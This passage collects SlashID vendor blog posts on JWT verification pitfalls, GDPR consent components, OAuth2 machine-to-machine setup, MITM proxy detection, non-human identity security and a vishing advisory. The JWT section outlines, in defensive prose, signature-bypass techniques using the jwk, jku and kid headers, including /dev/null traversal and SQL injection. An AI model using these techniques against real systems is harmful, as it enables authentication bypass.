kid (Key ID) - Provides an ID that servers can use to identify the correct key in cases where there are multiple keys to choose from.

These user-controllable parameters each tell the recipient server which key to use when verifying the signature.

Injecting self-signed JWTs via the jwk parameter

The jwk header parameter allows an attacker to specify an arbitrary key to verify the signature of a token. Servers should only use a limited allow-list of public keys to verify JWT signatures. However, default implementations of JWT verification libraries allow for arbitrary signatures to be used hence the developer has to allow-list specific keys or otherwise an attacker could bypass the signature verification process.

Solution: Disallow the usage of jwk or have an allow-list of valid keys.

Injecting self-signed JWTs via the jku parameter

Similar to the example below it is crucial that the keys passed to the verification function via the jku parameters are part of an allow-list. Further the implementer should also have an allow-list of domains and valid TLS certificates for those domains.

In fact, JWK Sets like this are often exposed publicly via a standard endpoint, such as /.well-known/jwks.json - if a domain is subject to a watering-hole attack or the verification function doesn't verify the domain an attacker is able to bypass signature verification.

Solution: Disallow the usage of `jku`` or have an allow-list of valid keys, trusted domains, and valid TLS certificates for those domains.

Injecting self-signed JWTs via the kid parameter

Verification keys are often stored as a JWK Set. In this case, the server may simply look for the JWK with the same kid as the token. However, the kid is an arbitrary string and it's up to the developer to decide how to use it to find the correct key in the JWK Set.

The kid parameter could be used for a command injection attack without proper sanitization. For example, an attacker might be able to use it to force a directory traversal attack pointing the verification function to a static, well-known file like /dev/null which would result in an empty string used for verification and often result in a signature bypass.

Another example is if the server stores its verification keys in a database, the kid parameter is also a potential vector for SQL injection attacks.

Solution: Always sanitize the kid parameter.

The SlashID approach

The issues above are just some of the common ones found in libraries, but many others keep coming up due to the design flaws described above. At SlashID, we strive to help customers secure their identities so we took a principled approach to the problem by abstracting it away for developers.

In a previous blogpost we've discussed some of the implementation details of our we mint and verify JWT tokens.

But we've gone further and added a JWT verification plugin to Gate.

The verification plugin works both with tokens issued by SlashID as well as tokens issued by a third-party.

To address the issues described above, we employ several countermeasures:

Only support pre-defined signing algorithms
Rotate signing keys frequently and adopt a vaulting solution to store the private key
Verify and pin TLS certificates for JWKS
Maintain an allow-list of valid domains
Disallow unsafe header parameters

By deploying Gate with the JWT verification plugin, developers can offload the complexity and risk of verifying JWT tokens to SlashID.

Let's see an example in action.

Gate configuration

First, let's look at an example using SlashID as the issuer:

...
    - id: validator
      type: validate-jwt
      enabled: false
      parameters:
        <<: *slashid_config
        jwks_url: https://api.slashid.com/.well-known/jwks.json
        jwks_refresh_interval: 15m
        jwt_expected_issuer: https://api.slashid.com

urls:
    - pattern: "*/api/echo"
      target: http://backend:8000
      plugins:
        validator:
          enabled: true
    - pattern: "*/api/admin_abac"
      target: http://backend:8000
      plugins:
        validator:
          enabled: true
          parameters:
            token_schema: |
              patternProperties:
                user_roles:
                  contains:
                    const: admin
              required:
                - user_roles

In the configuration, we tell the plugin that the JWKS URL is https://api.slashid.com/.well-known/jwks.json, and the keys should be refreshed every 15 minutes. We also specify that the issuer has to be https://api.slashid.com.

In the URLs, for the */api/echo path we simply allow requests that have a valid JWT in the Authorization header.

For the */api/admin_abac, we also specify that the plugin should check for the presence of a user_roles claim in the JWT and that claim should contain the string admin. This is an easy way to enforce ABAC on an endpoint.

If we were to use a third-party issuers instead of SlashID, the plugin instance configuration instance would change slightly:

- id: validator
  type: validate-jwt
  enabled: false
  parameters:
    jwks_url: https://issuer.example.com/.well-known/jwks.json
    jwks_refresh_interval: 15m
    jwt_expected_issuer: https://issuer.example.com
    jwt_valid_cert: <CERT signature>
    jwt_allowed_algorithms:
      - 'ES256'
      - 'ES512'

The difference is that for third-party issuers we need to specify the jwt_allowed_algorithms and a valid jwt_valid_cert URL signature.

Conclusion

In this brief post we've shown how JWT tokens while ubiquitous and simple-looking at first, are fraught with risk. Gate is an effective and easy way to offload that effort from application developers.

We’d love to hear any feedback you may have! Try out Gate with a free account.

GDPR Compliance: Consent Management

Jake Whelan, Vincenzo Iozzo — Fri, 27 Oct 2023 00:00:00 GMT

Introduction

At SlashID we make it easy for you to collect, store and process user data in a way that complies with the European Unions' General Data Protection Regulation (GDPR) and ePrivacy Directive legislations. We deeply value your users' privacy.

In this blog post, we're excited to introduce the <GDPRConsentDialog> component from the SlashID React SDK. As a companion for our data residency features, the <GDPRConsentDialog> component makes GDPR compliance effortless and worry-free.

Collecting user consents

We store consents in our Data Vault, making them readily available anywhere you implement SlashID.

Consent is broken down into five high-level categories:

Analytics
Marketing
Retargeting
Tracking
Necessary cookies

By default the <GDPRConsentDialog> prompts the user to Accept all or Reject all; where reject all also includes rejecting "necessary cookies".

<GDPRConsentDialog />

The Customize button reveals a set of controls where a user can choose by category what consent they are comfortable to give.

Sometimes a subset of cookies are necessary to provide a service or comply with legal requirements, like data protection laws.

Enabling this is as simple as setting the necessaryCookiesRequired prop when implementing the <GDPRConsentDialog> component.

<GDPRConsentDialog necessaryCookiesRequired />

We've built the <GDPRConsentDialog> with maximum flexibility in mind.

If you have a more complex use case like custom consent levels when choosing Accept all and Reject all, or disabling interaction with your product until consent has been given - you're in luck! We have support for these edge-cases and more: check out the documentation.

Reading and writing consents programatically

Sometimes there are actions in your product which are gated behind a users consent, for example publishing events to your analytics platform.

With SlashID you can access a users consents with the useGDPRConsent() hook, and use it to decide whether or not the action can be performed.

import { useGDPRConsent, GDPRConsentLevel } from '@slashid/react'
import { useAnalytics } from '...'

function Component() {
  const { consents, isLoading } = useGDPRConsent()
  const { publish } = useAnalytics()

  if (isLoading) {
    return <div>Loading consent...</div>
  }

  const analyticsAllowed = consents.some(
    ({ consent_level }) => consent_level === GDPRConsentLevel.Analytics
  )

  const addToCart = () => {
    if (analyticsAllowed) {
      publish({
        name: 'add_to_cart',
        payload: {
          /* ... */
        },
      })
    }

    // ...
  }

  return <button onClick={addToCart}>Add to cart</button>
}

You might find yourself in a position where you would like to offer your users the option to "upgrade" their consent and opt-in to some functionality.

The useGDPRConsentHook() hook provides you a mechanism to do just that.

import { useGDPRConsent, GDPRConsentLevel } from '@slashid/react'
import { useAnalytics } from '...'

function Component() {
  const { consents, isLoading, updateGdprConsent } = useGDPRConsent()

  if (isLoading) {
    return <div>Loading consent...</div>
  }

  const analyticsAllowed = consents.some(
    ({ consent_level }) => consent_level === GDPRConsentLevel.Analytics
  )

  const enableAnalytics = () => {
    updateGdprConsent([
      ...consents,
      GDPRConsentLevel.Analytics
    ])
  }

  return (
    <div>
      {!analyticsAllowed && (
        <p>
          You have analytics disabled, your user dashboard has insufficient data to operate.
        </p>
        <button onClick={enableAnalytics}>
          Enable analytics
        </button>
      )}

      {/* ... */}
    </div>
  )
}

Conclusion

In this blogpost we explained how to collect user consent with the <GDPRConsentDialog> and use the data from useGDPRConsent() to make informed decisions within your product, GDPR compliance has never been easier.

Ready to try SlashID? Sign up here!

Is there a feature you’d like to see, or have you tried out SlashID and have some feedback? Let us know!

Introducing the SlashID Local Deployment

SlashID Team, Vincenzo Iozzo — Mon, 24 Jun 2024 00:00:00 GMT

Introduction

Authentication is a critical component of modern applications, but integrating and testing authentication services can be challenging, especially in local development environments. Today, we're excited to introduce the SlashID Local Deployment, a powerful tool designed to streamline your development process and enhance your ability to build, run and test applications that use SlashID authentication services.

The SlashID Local Deployment

The SlashID Local Deployment is a lightweight, easy-to-use tool that mimics our cloud-based authentication services in your local environment. Here's why it's a game-changer for developers:

On-prem deployments: You can deploy our local deployment for air-gapped environments or any other scenario where you need to host your IdP.
Offline Development: With the local deployment, you can develop and test your application's authentication flow without an internet connection. This is particularly useful for developers working in environments with limited or unreliable internet access.
Faster Development Cycles: By eliminating the need to constantly communicate with remote servers, the local deployment significantly reduces latency and speeds up your development process. You can iterate quickly on your authentication logic without waiting for network requests to complete.
Consistent Testing Environment: The deployment provides a stable, predictable environment for testing. This consistency is crucial for reproducing and fixing authentication-related issues.
Cost-Effective: During the development phase, you can reduce API calls to our cloud services, potentially lowering costs associated with high-volume testing.
CI/CD Integration: Easily integrate authentication testing into your continuous integration and deployment pipelines without the need for complex mock setups or dependencies on external services.
Customizable Scenarios: The deployment allows you to easily set up and test various authentication scenarios, including edge cases that might be difficult to reproduce in a production environment.

FAQ

Where does it run?

The SlashID Local Deployment is a single docker image available to our Enterprise customers.

Dependencies

The deployment depends on Postgres, Redis, and PubSub. SlashID provides the image for PubSub and a reference docker compose.

Tracking changes

We release a new version of the Emulafor for each new API release.

What's included in the deployment?

All exposed SlashID developer APIs are included in the deployment.

Conclusion

Developers often face challenges when working with cloud services, particularly in offline environments. This complexity can lead to inefficient development processes and increased costs. In the realm of Identity and Access Management (IAM), these hurdles frequently push developers towards creating in-house solutions, which are time-consuming to maintain and less secure.

The SlashID Local Deployment bridges this gap, offering developers the ideal balance between local development convenience and the robustness of a SaaS solution. It enables seamless offline development and testing, accelerating the development cycle while maintaining the scalability and reliability of cloud-based authentication services. This approach not only enhances productivity but also ensures that developers can leverage our SaaS offering without compromising on development speed or flexibility.

Secure API and M2M Access with OAuth2 Client Credentials and SlashID's sidecar

Vincenzo Iozzo, SlashID Team — Mon, 03 Jun 2024 00:00:00 GMT

Introduction

Machine-to-machine (M2M) communication has become increasingly prevalent in modern application architectures, where different systems and services need to interact securely. Traditional authentication and authorization methods, such as shared secrets or mTLS, suffer from many shortcomings, ranging from a lack of fine-grained control to performance considerations.

At SlashID, we support several ways to implement M2M and API authentication and authorization. One of the fastest and most effective methods is by leveraging OAuth 2.0 Client Credentials.

In this blog post, we'll show you how to use SlashID to implement M2M authentication and authorization in a Kubernetes cluster.

Why OAuth 2.0 client credentials

M2M authentication and authorization is still largely an open problem. Over the years many attempts have been made to standardize the process from simple shared secrets to mTLS to SPIRE/SPIFFE. We believe that the OAuth 2.0 approach is superior for a few reasons:

Strong Security: Compared to using shared secrets or API keys, OAuth2 Client Credentials provides a more secure authentication mechanism. Access tokens are short-lived and can be easily revoked, reducing the risk of long-term exposure if a token is compromised. Additionally, client credentials are securely stored and managed within SlashID, minimizing the risk of credential leakage.
Granular Access Control: OAuth2 scopes enable fine-grained access control, allowing you to define specific permissions for different API resources. This ensures that machine clients only have access to the resources they need, following the principle of least privilege.
Layer 7 vs Layer 3: Enforcing authorization policies at the same layer as the application logic allows for better finer-grained authorization and easier monitoring.
Standards-based Approach: OAuth2 Client Credential is a widely adopted and standardized authentication and authorization flow. This further reduces the dependency on SlashID, any IdP can be used instead.
Interoperability: OAuth2 Client Credentials are supported by various tools, libraries, and frameworks, making it easier to integrate with different systems and languages. This interoperability allows for seamless integration of machine-to-machine authentication and authorization across diverse environments and technologies.
North-South and East-West: In addition to protecting east-west traffic, through this approach, we can easily protect user-facing APIs as well as shown in this blog post.

The setup

In this example, we have a simple Kubernetes cluster that looks like the picture below:

The frontend sends requests to the backend Gate service (gate-microservices), which then dispatches requests as required to several services in the deployment.

Our goal is to allow requests to the echo service only if they come from the frontend service and deny them otherwise.

Introducing SlashID Gate OAuth 2.0 plugins

Gate has two OAuth 2.0 plugins, the OAuth 2.0 Token Creator and the OAuth 2.0 Token Validator. As their names suggest, one can be used to add an OAuth 2.0 access token to a request, and the other to validate an OAuth 2.0 token in an incoming request. Further through our plugins we can:

Allow requests only from specific client ids
Allow requests only from specific IP addresses

In our scenario, we leverage both to enable M2M authentication and authorization. In a simplified picture, this is the deployment we are aiming for:

Specifically, the backend-echo service comes with a Gate sidecar that verifies OAuth 2.0 access tokens in incoming requests as shown below:

...
  plugins:
 - id: validate_oauth2_requests
      type: validate-oauth2-token
      enabled: false
      parameters:
        header_with_token: SlashID_Signature
        token_introspection_client_id: 0661f429-e6d8-7619-a900-3122cb349922
        token_introspection_client_secret: <secret>
        token_format: opaque
        token_introspection_url: "https://api.slashid.com/oauth2/tokens/introspect"
        required_scopes:
            - admin
        allowed_client_ids:
            - 0662337e-05b3-7fb5-ae00-b9119ba17644
        allowed_ip_addresses:
            - 172.26.0.8
...
  urls:
    # The /api/echo endpoint is used as a demonstration of the anonymizer and oauth 2.0 validator plugins
 - pattern: "*/api/echo*"
      target: http://localhost:8080
      plugins:
        validate_oauth2_requests:
          enabled: true

This configuration requires a valid OAuth 2.0 access token generated from the client ID 0662337e-05b3-7fb5-ae00-b9119ba17644 with admin as a scope for the request to reach the */api/echo* endpoints coming from the IP address 172.26.0.8.

On the sender side, the gate-web instance is configured to add an OAuth 2.0 access token to all requests:

  plugins:
 - id: add_authnz
      type: request-oauth2-authenticator
      enabled: true
      parameters:
        slashid_api_key: {{ .env.SLASHID_API_KEY }}
        slashid_org_id: {{ .env.SLASHID_ORG_ID }}
        header_for_token: "SlashID_Signature"
        oauth2_token_format: "opaque"
        oauth2_token_creation_endpoint: "https://api.slashid.com/oauth2/tokens"
        oauth2_token_client_id: "0662337e-05b3-7fb5-ae00-b9119ba17644"
        oauth2_token_client_secret: <secret>
        oauth2_scopes:
            - admin

This is what a full, authenticated, roundtrip looks like - The sender adds the OAuth 2.0 access token to the request:

The receiver verifies the token before forwarding it to the backend service:

With this setup we can guarantee that only requests originating from the front end reach the echo backend, restricting access to a specific client id and IP address.

Beyond the sidecar model

What we've shown in this example is just one of the many topologies we can use Gate in, for instance, you could achieve the same result using Gate as an external authorizer for Istio/Envoy.

Further, as we've shown in a previous blog post the OAuth 2.0 request validator plugin can be combined with our powerful OpenAPI parser to automatically enforce OAuth 2.0 client credentials authentication and authorization on your user-facing APIs meaningfully increasing your API security posture compared to simple API keys which are hard to rotate, can't be used for authorization and are long-lived.

Conclusion

In this blog post, we've shown how we can leverage Gate to implement M2M authentication and authorization using OAuth 2.0 client credentials. We’d love to hear any feedback you may have. Please contact us if you are interested in securing your APIs and machines.

Detecting Man-in-the-Middle Attacks with SlashID

Ivan Kovic, Vincenzo Iozzo — Mon, 26 Aug 2024 00:00:00 GMT

The Problem SlashID is Solving

According to Verizon's Data Breach Investigation Report, stolen credentials accounted for approximately 40% of breaches in 2023. One of the most common techniques to steal credentials is a man-in-the-middle (MITM) or adversary-in-the-middle (AITM) attack.

A (MITM) attack happens when a threat actor inserts themselves between two parties (often a user and an application), intercepting and/or altering the communication between the two for malicious purposes, such as stealing payment information or making unauthorized purchases. Today there is an abundance of readily available tools to do just that and performing an attack using an MITM proxy has become almost trivial, with evilnginx2 and modlishka being two of the more popular frameworks.

Implementing a robust detection mechanism is essential to prevent a potential breach or remediate an ongoing one, and that's where SlashID can help you with the new MITM detection capability.

Read on to learn how to detect MITM proxy attacks on your websites or third-party Identity Providers and applications with SlashID.

Enable MITM Detections on your Website

First, you need to create an MITM token in the SlashID Console. You will need to provide:

a list of allowed domains your application can be accessed on
a tag that will be included in any detections to easily identify which of your applications was attacked

Once you submit this information, SlashID will generate an MITM token that you can embed in your website as a single line of html:

And that's it: SlashID will now detect MITM attacks performed by proxying your application from a domain not explicitly allowed in the MITM token you just created.

Identity provider integrations

Login pages of well-known Identity providers can also be a target of an MITM proxy attack. SlashID can help you detect these attacks by embedding the MITM token in the custom CSS or HTML of the login page. Here we outline how to set this up for Okta and Microsoft Entra ID.

Okta

Okta allows customizing their sign-in page with a code editor, assuming that you configured a custom domain for the sign-in page.

This integration requires the following steps:

ensure a custom domain is set up in order to enable the code editor
ensure the Content Security Policy will allow downloading images from https://d3ucf2ccdze1i2.cloudfront.net
use the code editor to add the SlashID MITM token HTML snippet anywhere within the body element

Microsoft Entra ID

Microsoft Entra ID allows uploading custom CSS to style the sign-in page. In this case, we cannot use the full HTML snippet. Instead, we'll use only the relevant CSS property - background: url('{MITM_TOKEN}.png' and apply it using a selector of your choice:

start from the reference company branding CSS template
write a rule consisting of one of the documented selectors and the background: url('{MITM_TOKEN}.png' property
upload the custom CSS file

MITM Attack Visibility

When a detection is triggered, it will be displayed in the SlashID Console, showing you the MITM token tag, the domain that is proxying requests, and the number of visits (total page loads and unique visits based on the IP address):

If you want to be notified of MITM attacks as they happen, you can use SlashID webhooks. Any time a website with a SlashID MITM token is accessed via a malicious proxy, your webhook will receive an event with the following information:

IP address of the user accessing the page
the user-agent string
the attack domain
the allowed domains
token tag

Early detection allows you to respond promptly by notifying the affected parties, blocking the malicious proxy, or implementing additional security measures that prevent further compromise.

Try it out!

Protect your website against Man-in-the-Middle attacks by signing up for a free SlashID account and following the simple steps outlined in this blog post.

ODPR: A Framework for Securing Non-Human Identities

Ben Reinheimer, Vincenzo Iozzo — Mon, 17 Jun 2024 00:00:00 GMT

ODPR: A Framework for Securing Non-Human Identities

Over the last few months, there have been a number of newsworthy data breaches stemming from compromised session tokens, API keys, service accounts, secrets - digital credentials and permissions for automated systems now referred to as non-human identities (NHIs)

Cloudflare, Dropbox, Microsoft, and most recently Hugging Face have all been breached recently due to NHI misuse. While user identities have received plenty of protections in place such as multi-factor authentication, step-up authentication, SSO, and a number of different access control & authorization policies, NHIs simply don’t have the same protections and rigorous hygiene in place.

Years ago, CrowdStrike created the 1-10-60 framework for incident response: 1 minute to detect, 10 to investigate, and 60 minutes to isolate or remediate the incident. When it comes to identity-based threats, we lack the tools to protect companies before the attacker breaks out.

To help companies protect these highly-permissioned assets, SlashID has created a simple framework to follow: Observe, Detect, Prevent, & Remediate.

Observe

The surge in non-human identities (NHIs) has been driven by several factors, including the use of Kubernetes clusters and containers, the adoption of microservices, the integration of cloud services and automation, and the widespread use of third-party SaaS applications by organizations. Non-human identities outnumber humans as much as 50 to 1 at most enterprise companies. They’re created and used across a complex web of applications, APIs, and workloads owned by several different teams. As a result, companies struggle to piece together a complete view of these highly-permissioned assets, leaving them vulnerable to misuse.

Building a complete NHI inventory across cloud vendors, including over-privileged credentials and transitive trust relationships is the foundational piece of this framework. Centralizing visibility over NHIs not only removes uncertainty but also enables a standardized approach for all stakeholders - security teams, developers, risk & compliance - to follow rather than working across several different tools and platforms to complete their work.

Detect

Just because you now have visibility over all of your NHIs doesn’t mean they’re secure. Detecting threats in real time is the next piece of the framework. Static detection based on manual or periodic scans is no longer enough to prevent NHI misuse. Security teams need to be able to respond to threats quickly to reduce the mean time to detect and respond, and static detection leaves windows for threats to go undetected where a lot of damage can be done.

Additionally, not all threats are equal. It is important to be able to prioritize threats based on severity so security teams can act accordingly. SlashID detects threats against your NHI and allows you to customize their severity score based on your unique environment. The alerts can be consumed via a SIEM, email, slack, or custom notifications.

Prevent

Once you have complete visibility over your NHIs and the ability to detect threats in real time, the next stage of the framework is prevention. These efforts are focused on minimizing the surface handling key material and enforcing fine-grained authorization and least privilege access.

Starting with minimizing the surface handling key material, we recommend credential tokenization. By keeping secrets out of application code and configuration files, it reduces the risk of accidental exposure or deliberate theft of credentials.

After preventing accidental exposure of credentials, adopting OAuth2 scopes for fine-grained access control ensures that NHIs have only the necessary permissions for their tasks. This approach minimizes the risk of over-privileged credentials being misused.

Finally, enforcing conditional access controls minimizes the chances of unauthorized access by ensuring that only known-good systems have access to sensitive data.

Remediate

The first three steps of the ODPR framework should be viewed as layers of security to prevent a breach. However, it is necessary to “Assume Breach” and plan for that scenario: rotate or revoke stolen credentials and contain the blast radius at runtime. Remediation is a significant challenge for NHI, even for the most advanced companies. Consider Cloudflare’s November 2023 breach - responding to an initial breach, they missed rotating just 1 access token and 3 service account credentials out of thousands and as a result, hackers were able to access their entire Atlassian suite and a Bitbucket service account allowing access to the source code management system.

Remediation for NHI is about 3 core questions:

Can you rotate credentials quickly without downtime?
Can you drop a credential privilege before the attacker can move laterally?
Can you verify the attacker hasn’t achieved persistence in your environment?

Conclusion

The ODPR framework—Observe, Detect, Prevent, and Remediate—provides a robust strategy for securing non-human identities (NHIs) in complex digital environments. By ensuring comprehensive visibility, real-time threat detection, fine-grained authorization, and rapid remediation, organizations can mitigate the risks of data breaches. As NHIs continue to grow in number, implementing these measures is crucial for protecting critical assets and enhancing overall security. Adopting the ODPR framework helps companies maintain a strong defense against evolving threats.

Non-Human Identities Security: Breaking down the problem

Vincenzo Iozzo, SlashID Team — Mon, 16 Sep 2024 00:00:00 GMT

Fueled by several NHI-related breaches, NHI security companies (SlashID included) are everywhere these days - but, what are the core issues, and what’s causing them?

In this blog post, we seek to map out the problem and draw some lessons from application security, endpoint, and other areas of security to reason about the problem.

Attack patterns against NHI

The MITRE ATT&CK framework is very useful for mapping attack patterns against NHIs:

Several of the techniques discussed here apply to NHIs - in particular, limiting this to Initial Access and Credential Access:

Trusted relationships
Credentials from password stores
Exploitation for Credential Access
Steal application access token
Steal or Forge Authentication Certificates
Steal Web Session Cookies
Unsecured Credentials

In practice, looking at historical data we see adversaries perform the following techniques to gain access via NHIs:

OAuth social engineering (notable adversary: APT28/GRU)
Stolen, lost, or forged credentials (notable adversary: APT29/SVR)
An important sub-category of (2) is Kerberos/Active Directory-related token forging or stealing (notable adversary: Turla/FSB)
Exploitation of federation trust relationships (notable adversary: Scattered Spider)

In this article we are not going to focus on OAuth social engineering and the exploitation of federation trust relationships for two reasons:

OAuth social engineering is a broader problem that applies to user accounts as well. Similarly, federated trusts relationships broadly apply to user identities. We are going to cover both in separate posts
While both techniques are dangerous, stolen, forged and lost credentials represent the bulk of real-world intrusions by a significant margin

What is unique about NHIs?

With a taxonomy of attacks under our belt, we can reason about the unique challenges associated with NHIs. At a high level, we see 5:

You can’t enforce Multi-Factor Authentication (MFA)
Their credentials can’t be rotated easily
Lifecycle management is lacking: it is hard to know who has access to them, and how and when they should be de-provisioned. Further, there’s no source of truth/” known good” for them
There are too many of them and their usage is not self-explanatory
They are often over-privileged

The result is that, as an industry, we face the following:

Attackers target NHIs because they can log into a system and move laterally much more easily
If there is a breach or suspected breach, the time to remediate is extremely long
It’s hard to stay compliant
Because NHIs are so often overprivileged, privilege escalation and lateral movement are much easier to achieve

Analyzing the problem

In summary, we are facing two core issues.

One is that NHIs make for perfect candidates for credential-based attacks, and the second is that governance of these identities is too hard due to sprawl and lack of granular visibility.

When we talk about governance in this context we mean both lifecycle management as well as entitlement management.

Dissecting the problem further leads us to several questions.

Are NHI issues a misnomer? Are they credential issues?

While not all NHI issues are credentials-related, without credentials, we could be way less concerned about the remaining NHI attack vectors.

Specifically, without credentials, NHIs would be a significantly less popular attack vector because there would be a lot fewer ways to impersonate an NHI - in particular, phishing, endpoint/workload breach, and trusted relationships exploitation.

As we can see from past breaches the bulk of identity attacks are credential-related, just a few examples:

The recently branded UnOAuthorized attack against Microsoft apps involves credentials attached to service principals and then misusing these credentials for persistence and privilege escalation
The AWS credential leak campaign reported by Palo Alto Unit 42 is another example of NHI credentials abused
One of the most infamous attack vectors for AWS historically were Server-Side Request Forgery (SSRF) attacks to steal EC2 metadata credentials.

So yes, many NHI concerns are credential concerns in disguise.

While it's not feasible to get rid of credentials altogether, short-lived credentials can greatly reduce risk and increase the ability to generate high signal detections.

Would workload-bound credentials solve the problem?

As we have discovered, one of the central issues with NHIs is that they are privileged, and impersonating one by stealing credentials is relatively easy.

Workload-bound credentials would significantly reduce the number of attacks you could carry via an NHI. If you can safely attest a device or a workload and protect its identity we would make the value of an NHI limited in that it could only be misused while maintaining persistence on the workload using it.

However, as we've seen in application security, even the most locked-down applications still get compromised. Locking down credentials increases the complexity of the attack but by no means solves the problem entirely.

When it comes to governance, are lifecycle management and over-privileged identities a solvable problem?

In a perfect world access issuance would be significantly down-scoped to just the number of permissions necessary for that NHI to perform its role. A good parallel to think about is sandboxing applications on desktops.

Sandboxing has been incredibly useful in reducing the odds of privilege escalation once an attacker has compromised the application. However, it is also incredibly difficult to apply in real life.

Most applications are still far from being sandboxed and it took Chrome several years and an inordinate amount of engineering effort.

If the parallel holds we can then conclude that achieving perfect least privilege won’t be feasible and we’ll have to accept a trade-off, however, it is equally true that the current state of NHI privilege management is similar to applications before sandboxing was widely used.

Is this an identity, engineering, or SOC issue?

We believe the answer is all of the above and a unified approach decreases the odds of a successful breach.

The ideal solution

The NHI problem is not fundamentally new - in fact, as an industry, we've had many similar challenges in the past and, as usual in security, a layered approach is the right way to think about it. In particular:

Short-lived credentials
Device/workload-bound identities
Down-scoped privileges for each identity
Governance around provisioning, de-provisioning, and federated trust
A detection and response framework to stop the remaining potential breaches

It is key to remember that even if 1-4 are in place, the fundamental threat still exists and is unavoidable. When we think about it:

Breaching a workload or a user will still happen and it will likely still result in the loss of key material later leveraged for lateral movement
Phishing via OAuth apps and federation can be abused to pivot from a user account to an NHI

So it's clear that the three pillars to solve this problem are engineering, governance, and detection and response.

How close are we to that?

While there are several standards out there and, to some degree, practical implementations of device-bound tokens and ephemeral credentials, in practice, several problems emerge:

Most applications don’t support ephemeral credentials or even multiple credentials per tenant/account. As a result, credential rotation and revocation are risky and could result in downtime. Furthermore, several applications require a user to login through the UI to generate a new set of credentials making automation harder
Workload/device attestation is feasible but not trivial to solve at scale
Least privilege, as we discussed, is hard to achieve. For instance, AWS has 15,561 API methods and 17,181 permissions
Sometimes NHIs are used outside of workloads so attestation is not an option to begin with
Lastly a number of attack paths are not easily addressable and have never been historically, e.g.: phishing and exploitation of application vulnerabilities

So what can we practically do today?

Even though we can’t easily get to the ideal solution, several practical improvements are feasible today:

Use a vaulting solution to reduce the risk of credential sprawl
Adopt a secret scanner to reduce the risk of accidental credential leaks
Tokenize credentials/adopt a secret-less posture. The basic premise is to minimize the surface-touching key material to make it easier to perform rotation, reduce the odds of needing to rotate credentials in the first place and generate an audit trail on usage
Implement and enforce conditional access for NHIs
Unify observability and inventory of the various NHIs present across your environments
Detect and automatically respond - put a strong detection and response framework in place to reduce the risk of a lost or stolen credential or a compromised identity. According to CrowdStrike, attackers break out in approximately 30 minutes - it's important to react automatically to reduce the blast radius of the incident.

How can SlashID help?

SlashID can help in three ways:

You can adopt our platform to observe, detect, and automatically respond to NHI breaches. You can read more about our approach here based on the Palo Alto Unit 42 report of the latest AWS credential theft campaign
You can adopt our Gate module to implement credential tokenization and conditional access for NHIs. This is an overview of how we approach tokenization
Provide visibility over trust relationships, privileges, and remediation capabilities to help solve the governance issue

Conclusion

We hope this blog post helped frame the issues surrounding NHIs and some of the approaches to solving them.

Ultimately the perfect solution requires a significant engineering effort from both vendors and consumers of a service, making it hard to achieve in the real world in the short term.

Until then, we believe that security teams should put in place a credential minimization strategy and a detection and response framework.

Reach out to us to let us know how you are approaching the problem or to schedule a free Identity Security Assessment!

NYDFS 2026 Vishing Advisory: Detection and Defense with SlashID

SlashID Team, Vincenzo Iozzo — Fri, 06 Mar 2026 00:00:00 GMT

On February 6, 2026, NYDFS issued an industry letter warning DFS-regulated entities about a spike in targeted vishing attacks where threat actors impersonate IT help desk staff to steal credentials and MFA codes and gain remote access.

This post breaks down the technical mechanics of the campaign, why it reliably bypasses "MFA on paper," and how to detect and contain it using identity telemetry -- specifically mapping the NYDFS recommendations to SlashID Identity Protection, and MITM detection.

1. Attack anatomy: why this vishing flow works?

NYDFS describes a consistent pattern: attackers call employees on work/personal numbers (Impersonation), direct them to a malicious link (Social Engineering), capture credentials in real time, and then prompt for the MFA code to immediately authenticate and obtain remote access.

A more technical view of the kill chain

Phase A -- After the reconnaissance phase, where enterprise information is gathered and enumerated, attackers attempt to gain an initial foothold by authenticating via out-of-band channels using various techniques like Help Desk Impersonation, SMS and vishing, and SIM swapping.

Phase B -- Foothold Establishment -- by using compromised credentials, and SSO access using a legitimate account (potentially enabling lateral movement across the environment).

Phase C -- MFA bypass. The expression "Attackers don't hack, they log in" is becoming more and more relevant. Even strong MFA can be defeated indirectly if the attacker can force account recovery, enroll a new device, or abuse help desk reset processes. The root cause of MFA bypass is the ability to replay tokens (SAML, OAuth) before they are expired.

It seems that the same attack vector SlashID previously analyzed in the Scattered Spider breaches at MGM and Caesars is not only still relevant today, but has become even more sophisticated.

2. How SlashID helps to detect and prevent

A vishing compromise leaves a very "identity-shaped" trail. The most actionable signals are not the phone call - they're the sequence of identity events. High-signal detection patterns:

Password reset → new login from new geo/device within minutes
New MFA device enrolled shortly after reset
SSO session minted from a new IP / ASN, then immediate access to high-value apps
Privilege escalation attempts after initial foothold

SlashID is structured around two main ideas:

Ingest identity posture + event logs from the sources (IdP, cloud, AD/Entra, SaaS), and
Run a detection engine that emits threat detections and posture detections.

Attack Phase	How the Attacker Exploits	How SlashID Detects	How SlashID Prevents
Recon & Initial Foothold	Impersonates IT Help Desk via phone call (vishing) or SMS	N/A (The phone call itself occurs outside the identity plane).	Browser Extension + TOTP Verification
Credential Harvesting & MFA Interception	User visits a fake login page (often a reverse proxy like Evilginx). Attacker captures credentials and the MFA code as the user types them.	MITM Token Detection	TOTP Verification
Lateral Movement & Impact	With a valid SSO session, the attacker accesses file shares, or internal tools to exfiltrate data.	Identity Graph Analysis	AI Assistant & Queries

These detection and response methods are discussed in more details in the following chapters.

2.1. Visibility Foundations and Detection Types that match vishing outcomes

SlashID typically ingests two types of data from each integrated data source such as Identity Data (users, NHIs, roles, permissions) and Events (activity logs showing how identities are used).

On the other hand, SlashID detection events include:

Threat detection — Indicators of attack (IOAs)
Posture detection — Misconfigurations (e.g., MFA disabled)
Detection functions — CredentialStuffingAttempt, FederationBypass, MissingMFA
Confidence score — Machine Learning model with a value between 0 and 1 indicating the likelihood that the detection is a true positive
MITRE mapping fields — Automatic mapping to MITRE ATT&CK framework

Thus, providing continuous monitoring and detection.

2.2. Mutual TOTP for Help Desk vishing

The defining weakness of help desk vishing is that the call itself becomes the "authentication channel" as shown in the table above. Attackers win by convincing an agent to reset credentials / enroll MFA / approve recovery without a cryptographic way to verify who is on the other end of the line.

Mutual TOTP changes that: instead of trusting a voice, both parties perform a two-way verification handshake where each side must prove possession of a registered device (the verification is biometric-protected). It uses 6-digit RFC 6238 codes, rotating every 30 seconds, with bidirectional verification, real-time synchronization, and a 2-minute timeout.

Operational model:

Employee and help desk agent are both enrolled (activated with an IT token; access protected by FaceID/TouchID).
One party initiates a handshake
Both sides receive unique 6-digit TOTPs and read them to each other over the call.
The handshake is marked Verified only when both codes are confirmed

